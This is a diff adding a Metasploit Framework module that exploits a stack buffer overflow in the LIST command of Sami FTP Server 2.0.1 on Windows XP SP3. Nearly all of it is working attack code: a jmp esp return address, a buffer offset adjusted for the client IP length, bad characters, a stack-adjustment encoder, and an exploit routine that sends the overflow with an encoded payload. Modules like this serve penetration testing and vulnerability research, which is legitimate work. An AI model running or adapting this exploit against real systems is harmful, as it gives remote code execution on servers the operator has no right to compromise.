|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit4 < Msf::Exploit::Remote |
| 11 | + Rank = AverageRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Ftp |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Sami FTP Server LIST Command Buffer Overflow', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a stack based buffer overflow on Sami FTP Server 2.0.1. |
| 20 | + The vulnerability exists in the processing of LIST commands. In order to trigger |
| 21 | + the vulnerability, the "Log" tab must be viewed in the Sami FTP Server managing |
| 22 | + application, in the target machine. On the other hand, the source IP address used |
| 23 | + to connect with the FTP Server is needed. If the user can't provide it, the module |
| 24 | + will try to resolve it. This module has been tested successfully on Sami FTP Server |
| 25 | + 2.0.1 over Windows XP SP3. |
| 26 | + }, |
| 27 | + 'Platform' => 'win', |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'superkojiman', # Original exploit |
| 31 | + 'Doug Prostko <dougtko[at]gmail.com>' # MSF module |
| 32 | + ], |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'OSVDB', '90815'], |
| 37 | + [ 'EDB', '24557'] |
| 38 | + ], |
| 39 | + 'Privileged' => false, |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'Space' => 1500, |
| 43 | + 'DisableNops' => true, |
| 44 | + 'BadChars' => "\x00\x0a\x0d\x20\x5c", |
| 45 | + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 |
| 46 | + }, |
| 47 | + 'Targets' => |
| 48 | + [ |
| 49 | + [ 'Sami FTP Server 2.0.1 / Windows XP SP3', |
| 50 | + { |
| 51 | + 'Ret' => 0x10028283, # jmp esp from C:\Program Files\PMSystem\Temp\tmp0.dll |
| 52 | + 'Offset' => 228 |
| 53 | + } |
| 54 | + ], |
| 55 | + ], |
| 56 | + 'DefaultTarget' => 0, |
| 57 | + 'DisclosureDate' => 'Feb 27 2013')) |
| 58 | + register_options( |
| 59 | + [ |
| 60 | + OptAddress.new('SOURCEIP', [false, 'The local client address']) |
| 61 | + ], self.class) |
| 62 | + end |
| 63 | + |
| 64 | + def exploit |
| 65 | + connect |
| 66 | + if datastore['SOURCEIP'] |
| 67 | + ip_length = datastore['SOURCEIP'].length |
| 68 | + else |
| 69 | + ip_length = Rex::Socket.source_address(rhost).length |
| 70 | + end |
| 71 | + buf = rand_text(target['Offset'] - ip_length) |
| 72 | + buf << [ target['Ret'] ].pack('V') |
| 73 | + buf << rand_text(16) |
| 74 | + buf << payload.encoded |
| 75 | + send_cmd( ['LIST', buf], false ) |
| 76 | + disconnect |
| 77 | + end |
| 78 | + |
| 79 | +end |
0 commit comments